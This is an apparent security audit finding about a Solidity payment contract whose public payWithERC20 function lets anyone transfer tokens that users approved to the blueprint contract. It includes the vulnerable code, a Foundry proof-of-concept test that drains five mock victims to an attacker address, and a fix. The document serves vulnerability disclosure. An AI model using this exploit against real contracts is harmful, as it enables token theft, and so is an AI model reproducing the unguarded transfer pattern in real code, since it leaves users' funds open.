Witty Chocolate Kangaroo

High

# Weak Access Control in `Payment::payWithERC20` Allows Attacker to Steal User Tokens Approved on Blueprint Contract

### Summary

The Payment::payWithERC20 function lacks proper access control, allowing attackers to call it and steal all user tokens approved on the blueprint contract. This can lead to significant financial losses.

### Root Cause

```solidity

    // This is to support gasless flow: normally, the caller must always be the msg.sender
    // slither-disable-next-line arbitrary-send-erc20
    function payWithERC20(address erc20TokenAddress, uint256 amount, address fromAddress, address toAddress) public {
        // check from and to address
        require(fromAddress != toAddress, "Cannot transfer to self address");
        require(toAddress != address(0), "Invalid to address");
        require(amount > 0, "Amount must be greater than 0");
        IERC20 token = IERC20(erc20TokenAddress);
        token.safeTransferFrom(fromAddress, toAddress, amount);
    }

```
reference: https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/Payment.sol#L25
The Payment::payWithERC20 function visibility is public so anyone can call it with arbitrary parameter.

### Internal Pre-conditions

-

### External Pre-conditions

-

### Attack Path

1. User need to approve token on blueprint contract before interact with blueprint contract that must pay using token CRESTAL or USDC
2. Attacker immediately call the payWithERC20 function to transfer user token to attacker address.

### Impact

financial losses for affected users

### PoC

```solidity
pragma solidity ^0.8.26;

import {Test, console} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {BlueprintV5} from "../src/BlueprintV5.sol";
import {BlueprintCore} from "../src/BlueprintCore.sol";
import {Blueprint} from "../src/Blueprint.sol";
import {stdError} from "forge-std/StdError.sol";
import {MockERC20} from "./MockERC20.sol";

contract BlueprintTest is Test {
    BlueprintV5 public blueprint;
    MockERC20 public mockToken;
    bytes32 public projectId;
    address public workerAddress;
    address public dummyAddress;

    function setUp() public {
        blueprint = new BlueprintV5();
        blueprint.initialize(); // mimic upgradeable contract deploy behavior

        mockToken = new MockERC20();

        // set crestal wallet address
        blueprint.setFeeCollectionWalletAddress(address(0x7D8be0Dd8915E3511fFDDABDD631812be824f578));

        projectId = bytes32(0x2723a34e38d0f0aa09ce626f00aa23c0464b52c75516cf3203cc4c9afeaf2980);
        workerAddress = address(0x4d6585D89F889F29f77fd7Dd71864269BA1B31df);
        dummyAddress = address(0);
    }

    function test_stealAllToken() public {
        uint256 topUpAmount = 100 * 10 ** 18;
        
        address victim1 = address(0x1);
        address victim2 = address(0x2);
        address victim3 = address(0x3);
        address victim4 = address(0x4);
        address victim5 = address(0x5);
        address attacker = address(0x6);

        // Add the payment address
        blueprint.addPaymentAddress(address(mockToken));

        // Mint tokens to the victim account (simulate the exploit)
        mockToken.mint(victim1, topUpAmount);
        mockToken.mint(victim2, topUpAmount);
        mockToken.mint(victim3, topUpAmount);
        mockToken.mint(victim4, topUpAmount);
        mockToken.mint(victim5, topUpAmount);

        // Approve the blueprint contract to spend tokens before topUp
        vm.prank(victim1);
        mockToken.approve(address(blueprint), topUpAmount);

        vm.prank(victim2);
        mockToken.approve(address(blueprint), topUpAmount);

        vm.prank(victim3);
        mockToken.approve(address(blueprint), topUpAmount);

        vm.prank(victim4);
        mockToken.approve(address(blueprint), topUpAmount);

        vm.prank(victim5);
        mockToken.approve(address(blueprint), topUpAmount);

        // attacker token balance before exploit is zero
        assertEq(mockToken.balanceOf(attacker), 0);


        // attacker exploit the public function payWithERC20 to transfer victim token to attacker.
        vm.startPrank(attacker);
        blueprint.payWithERC20(address(mockToken), topUpAmount, victim1, attacker);
        blueprint.payWithERC20(address(mockToken), topUpAmount, victim2, attacker);
        blueprint.payWithERC20(address(mockToken), topUpAmount, victim3, attacker);
        blueprint.payWithERC20(address(mockToken), topUpAmount, victim4, attacker);
        blueprint.payWithERC20(address(mockToken), topUpAmount, victim5, attacker);
        vm.stopPrank();


        // victim can not top up because their token got stolen
        vm.prank(victim1);
        vm.expectRevert();
        blueprint.userTopUp(address(mockToken), topUpAmount);

       // attacker token balance after exploit
        assertEq(mockToken.balanceOf(attacker), 5 * topUpAmount);
    }
```

### Mitigation

Modify the visibility of the payWithERC20 function to internal so that only the contract itself and its child contracts can call this function.